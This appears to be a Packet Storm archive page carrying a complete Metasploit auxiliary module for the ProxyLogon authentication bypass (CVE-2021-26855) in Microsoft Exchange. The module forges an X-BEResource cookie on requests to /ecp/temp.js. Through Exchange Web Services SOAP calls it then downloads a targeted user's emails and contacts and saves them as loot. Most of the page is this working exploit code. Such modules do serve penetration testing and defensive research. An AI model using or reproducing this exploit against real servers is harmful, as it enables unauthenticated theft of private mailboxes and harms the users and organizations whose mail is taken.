what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Exchange ProxyLogon Collector

Microsoft Exchange ProxyLogon Collector
Posted May 21, 2021
Authored by Ramella Sebastien | Site metasploit.com

This Metasploit module scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin by chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution. As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server. This vulnerability affects Exchange 2013 versions below 15.00.1497.012, Exchange 2016 CU18 below 15.01.2106.013, Exchange 2016 CU19 below 15.01.2176.009, Exchange 2019 CU7 below 15.02.0721.013, and Exchange 2019 CU8 below 15.02.0792.010 . All components are vulnerable by default.

tags | exploit, arbitrary, code execution, info disclosure
advisories | CVE-2021-26855, CVE-2021-27065
SHA-256 | 585a4badc4bc32954c170e5f8283ee5e2c9ceb31c4f0aab20e24dc5c6ff31912

Microsoft Exchange ProxyLogon Collector

Change Mirror Download
# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
# Date: 2021-03-02
# Exploit Author: RAMELLA Sébastien
# Vendor Homepage: https://microsoft.com
# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
# Tested on: Microsoft Windows 2012 R2 - Exchange 2016

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyLogon Collector',
'Description' => %q{
This module scan for a vulnerability on Microsoft Exchange Server that
allows an attacker bypassing the authentication and impersonating as the
admin (CVE-2021-26855).

By chaining this bug with another post-auth arbitrary-file-write
vulnerability to get code execution (CVE-2021-27065).

As a result, an unauthenticated attacker can execute arbitrary commands on
Microsoft Exchange Server.

This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

All components are vulnerable by default.
},
'Author' => [
'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
],
'References' => [
['CVE', '2021-26855'],
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
['URL', 'https://proxylogon.com/'],
['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],
['URL', 'http://aka.ms/exchangevulns']
],
'DisclosureDate' => '2021-03-02',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'AKA' => ['ProxyLogon']
}
)
)

register_options([
OptString.new('EMAIL', [true, 'The email account what you want dump']),
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])
])

register_advanced_options([
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])
])
end

XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze

def grab_contacts
response = send_xml(soap_findcontacts)
xml = Nokogiri::XML.parse(response.body)

data = xml.xpath('//t:Contact', XMLNS)
if data.empty?
print_status(' - the user has no contacts')
else
write_loot(data.to_s)
end
end

def grab_emails(total_count)
# get the emails list of the target folder.
response = send_xml(soap_maillist(total_count))
xml = Nokogiri::XML.parse(response.body)

# iteration to download the emails.
xml.xpath('//t:ItemId', XMLNS).each do |item|
print_status(" - download item: #{item.values[1]}")
response = send_xml(soap_download(item.values[0], item.values[1]))
xml = Nokogiri::XML.parse(response.body)

message = xml.at_xpath('//t:MimeContent', XMLNS).content
write_loot(Rex::Text.decode_base64(message))
end
end

def send_xml(data)
uri = normalize_uri('ecp', 'temp.js')

received = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;",
'ctype' => 'text/xml; charset=utf-8',
'data' => data
)
fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received

received
end

def soap_download(id, change_key)
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>
SOAP
end

def soap_findcontacts
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{datastore['MaxEntries']}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='contacts'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end

def soap_mailnum
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="#{datastore['FOLDER']}">
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
SOAP
end

def soap_maillist(max_entries)
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end

def write_loot(data)
loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')
print_good(" - file saved to #{loot_path}")
end

def run
# get the informations about the targeted user account.
response = send_xml(soap_mailnum)
if response.body =~ /Success/
print_status('Connection to the server is successful')
print_status(" - selected account: #{datastore['EMAIL']}\n")

# grab contacts.
print_status('Attempt to dump contacts list for this user')
grab_contacts

print_line

# grab emails.
print_status('Attempt to dump emails for this user')
xml = Nokogiri::XML.parse(response.body)
folder_id = xml.at_xpath('//t:FolderId', XMLNS).values
print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})")

total_count = xml.at_xpath('//t:TotalCount', XMLNS).content
print_status(" - number of email found: #{total_count}")

if total_count.to_i > datastore['MaxEntries']
print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}")
total_count = datastore['MaxEntries'].to_s
end
grab_emails(total_count)
end
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close